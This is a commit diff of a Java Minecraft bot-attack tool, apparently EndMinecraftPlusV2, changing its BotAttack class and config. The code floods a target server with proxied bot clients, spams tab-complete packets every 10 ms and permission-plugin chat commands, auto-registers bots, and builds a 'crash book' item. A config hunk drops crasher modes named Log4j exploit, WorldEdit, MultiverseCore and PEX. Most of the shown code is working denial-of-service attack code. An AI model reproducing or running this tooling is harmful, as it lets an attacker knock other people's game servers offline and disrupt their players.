String pex_2 = "/pex demote a a";
|
||||
while (c.isConnected()) {
|
||||
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
|
||||
OtherUtils.doSleep(2000);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null);
|
||||
break;
|
||||
}
|
||||
}).start();
|
||||
}).start();
|
||||
break;
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
|
||||
c.setFlag("tabAttack", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
OtherUtils.doSleep(100);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
} else {
|
||||
} else if (c.getSession().hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
try {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
|
||||
c.setFlag("login", true);
|
||||
} catch (Exception ignored) {}
|
||||
} else {
|
||||
c.setFlag("login", true);
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
}
|
||||
|
||||
c.getSession().setFlag("login", true);
|
||||
}
|
||||
} else {
|
||||
alivePlayers.remove(c);
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
});
|
||||
|
||||
@ -247,18 +182,36 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
});
|
||||
|
||||
mainThread.start();
|
||||
if (taskThread != null) {
|
||||
taskThread.start();
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
Set<Client> cacheClients = clients;
|
||||
|
||||
for (Client c:cacheClients) {
|
||||
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
|
||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
mainThread.start();
|
||||
if (tabThread != null)
|
||||
tabThread.start();
|
||||
if (taskThread != null)
|
||||
taskThread.start();
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
mainThread.stop();
|
||||
if (taskThread != null) {
|
||||
if (tabThread != null)
|
||||
tabThread.stop();
|
||||
if (taskThread != null)
|
||||
taskThread.stop();
|
||||
}
|
||||
}
|
||||
|
||||
public void setTask(Runnable task) {
|
||||
@ -267,14 +220,16 @@ public class BotAttack extends IAttack {
|
||||
|
||||
private void cleanClients() {
|
||||
for (Client client:clients) {
|
||||
String username = clientName.get(client);
|
||||
|
||||
if (!client.getSession().isConnected()) {
|
||||
positionPacket.remove(client.getSession());
|
||||
alivePlayers.remove(client.getSession());
|
||||
clientName.remove(client.getSession());
|
||||
alivePlayers.remove(username);
|
||||
clientName.remove(client);
|
||||
clients.remove(client);
|
||||
} else {
|
||||
if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(client.getSession());
|
||||
if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -293,36 +248,39 @@ public class BotAttack extends IAttack {
|
||||
break;
|
||||
}
|
||||
|
||||
while (clients.size() <= this.attack_maxconnect) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client.getSession(), User[0]);
|
||||
clients.add(client);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
|
||||
if (clients.size() > this.attack_maxconnect) {
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -382,9 +340,10 @@ public class BotAttack extends IAttack {
|
||||
|
||||
rejoin++;
|
||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||
clientName.put(rejoinClient.getSession(), username);
|
||||
clientName.put(rejoinClient, username);
|
||||
clients.add(rejoinClient);
|
||||
rejoinClient.getSession().connect(false);
|
||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||
|
||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||
rejoinPlayers.remove(username);
|
||||
@ -402,7 +361,7 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(client.getSession());
|
||||
alivePlayers.remove(username);
|
||||
}).start();
|
||||
}
|
||||
});
|
||||
@ -482,8 +441,8 @@ public class BotAttack extends IAttack {
|
||||
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -499,6 +458,7 @@ public class BotAttack extends IAttack {
|
||||
positionPacket.put(session, packet);
|
||||
}
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
} else if (recvPacket instanceof ServerChatPacket) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
@ -509,37 +469,22 @@ public class BotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
||||
}
|
||||
} else if (recvPacket instanceof ServerKeepAlivePacket) {
|
||||
if (MCForge.getProtocolVersion() >= 107) {
|
||||
VersionSupport107.sendKeepAlivePacket(session, (ServerKeepAlivePacket) recvPacket);
|
||||
} else {
|
||||
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||
session.send(keepAlivePacket);
|
||||
}
|
||||
|
||||
// LogUtil.doLog(0, "[" + username + "] 已发送KeepAlive数据包。", "BotAttack");
|
||||
|
||||
// ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
||||
// session.send(keepAlivePacket);
|
||||
if (!joinedPlayers.contains(session)) {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
} else if (recvPacket.getClass().getSimpleName().equals("ServerPlayerHealthPacket")) {
|
||||
if (recvPacket instanceof ServerPlayerHealthPacket && ((ServerPlayerHealthPacket) recvPacket).getHealth() <= 0) {
|
||||
VersionSupport107.sendRespawnPacket(session);
|
||||
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
} else if (recvPacket.getClass().getSimpleName().equals("ServerUpdateHealthPacket")) {
|
||||
if (((ServerUpdateHealthPacket) recvPacket).getHealth() <= 0) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -570,7 +515,7 @@ public class BotAttack extends IAttack {
|
||||
}
|
||||
|
||||
public static ItemStack getCrashBook() {
|
||||
ItemStack crashBook;
|
||||
ItemStack crashBook = null;
|
||||
CompoundTag nbtTag = new CompoundTag("crashBook");
|
||||
List<Tag> pageList = new ArrayList<>();
|
||||
|
||||
|
@ -94,6 +94,7 @@ public class MCForge {
|
||||
Field field = cls.getDeclaredField("PROTOCOL_VERSION");
|
||||
return field.getInt(null);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
@ -49,11 +49,7 @@ AdvancedSettings:
|
||||
# 来自FDPClient的魔法道具~
|
||||
ServerCrasher:
|
||||
Enable: false
|
||||
# 1 - Book (BSign/BEdit) [仅1.8.X可用]
|
||||
# 2 - Log4j Exploit
|
||||
# 3 - WorldEdit
|
||||
# 4 - MultiverseCore
|
||||
# 5 - PEX
|
||||
# 1 - Book (BSign/BEdit)
|
||||
Mode: 1
|
||||
PacketDelay: 100
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user